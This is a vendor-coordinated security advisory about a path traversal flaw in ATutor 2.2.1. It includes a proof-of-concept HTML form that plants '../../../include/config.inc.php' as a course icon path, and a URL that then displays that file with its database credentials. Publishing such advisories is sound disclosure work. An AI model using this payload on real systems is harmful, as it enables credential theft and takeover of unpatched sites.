Stay in touch

Enter your email and get the latest news and researches on cybersecurity, receive invitations to private security events and conferences.

Arbitrary File Content Disclosure in Atutor

Advisory ID:HTB23297
Product:Atutor
Vendor:Atutor
Vulnerable Versions:2.2.1 and probably prior
Tested Version:2.2.1
Advisory Publication:February 24, 2016 [without technical details]
Vendor Notification:February 24, 2016
Vendor Fix:July 1, 2016
Public Disclosure:August 2, 2016
Latest Update:July 1, 2016
Vulnerability Type:Path Traversal [CWE-22]
CVE Reference:Pending
Risk Level:Medium
CVSSv3 Base Score:5.8 [CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N]
CVSSv3 Calculator
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge Security Research Lab discovered path traversal vulnerability in a popular web-based e-learning system Atutor. A remote attacker can view contents of arbitrary local files on the target system with privileges of the web server.

The vulnerability may allow an attacker gain access to potentially sensitive web application and system information, and use received data to gain complete control over vulnerable web application.

Successful exploitation of vulnerability requires that user is registered and authenticated, but registration is open by default.

The vulnerability exists due to absence of filtration of user-supplied data passed via "icon" HTTP POST to "/mods/_core/courses/users/create_course.php" script, when saving information to database. A remote authenticated attacker can use directory traversal sequences (e.g. "../") in user's icon parameter to overwrite its value and then include arbitrary file on the system and view its contents.

The following PoC code can be used to replace path to user’s icon in database. In this example, we will inject path to the system configuration "/include/config.inc.php" file:

<form action="http://[host]/mods/_core/courses/users/create_course.php" method="POST" name="f1" enctype="multipart/form-data">
<input type="hidden" name="form_course" value="true">
<input type="hidden" name="MAX_FILE_SIZE" value="819200">
<input type="hidden" name="course" value="0">
<input type="hidden" name="old_access" value="protected">
<input type="hidden" name="created_date" value="2016-02-17 13:20:26">
<input type="hidden" name="show_courses" value="0">
<input type="hidden" name="current_cat" value="0">
<input type="hidden" name="title" value="vulnerable">
<input type="hidden" name="pri_lang" value="en">
<input type="hidden" name="description" value="">
<input type="hidden" name="category_parent" value="0">
<input type="hidden" name="content_packaging" value="top">
<input type="hidden" name="rss" value="0">
<input type="hidden" name="access" value="protected">
<input type="hidden" name="release_date" value="0">
<input type="hidden" name="day_release" value="0">
<input type="hidden" name="month_release" value="0">
<input type="hidden" name="year_release" value="0">
<input type="hidden" name="hour_release" value="0">
<input type="hidden" name="min_release" value="0">
<input type="hidden" name="end_date" value="0">
<input type="hidden" name="day_end" value="0">
<input type="hidden" name="month_end" value="0">
<input type="hidden" name="year_end" value="2016">
<input type="hidden" name="hour_end" value="0">
<input type="hidden" name="min_end" value="0">
<input type="hidden" name="banner" value="">
<input type="hidden" name="initial_content" value="1">
<input type="hidden" name="quota" value="-2">
<input type="hidden" name="filesize" value="-3">
<input type="hidden" name="tracking" value="">
<input type="hidden" name="copyright" value="">
<input type="hidden" name="boolForce" value="">
<input type="hidden" name="MAX_FILE_SIZE" value="">
<input type="hidden" name="customicon" value="">
<input type="hidden" name="custOptCount" value="0">
<input type="hidden" name="courseId" value="[COURSE_ID]">
<input type="hidden" name="icon" value="../../../include/config.inc.php">
<input type="button" name="submit" value="Save">
</form>


The injected parameter is used in "readfile()" function in the "/get_course_icon.php" script. To view contents of the "/include/config.inc.php" file and see database credentials, the attacker needs to open the following URL:

http://[code]/get_course_icon.php?id=[COURSE_ID]


ImmuniWeb® On-Demand Web Application Penetration Test


Solution:
Update to ATutor 2.2.2

More Information:
https://github.com/atutor/ATutor/releases/tag/atutor_2_2_2


References:
[1] High-Tech Bridge Advisory HTB23297 - https://www.htbridge.com/advisory/HTB23297 - Arbitrary File Content Disclosure in Atutor
[2] Atutor - http://www.atutor.ca/ - ATutor is a FREE Open Source LMS, used to develop online courses and create elearning content.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[4] ImmuniWeb® - web security platform by High-Tech Bridge for on-demand and continuous web application security, vulnerability management, monitoring and PCI DSS compliance.
[5] Free SSL/TLS Server test - check your SSL implementation for PCI DSS and NIST compliance. Supports all types of protocols.
User Comments and Opinions
Add Comment


Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.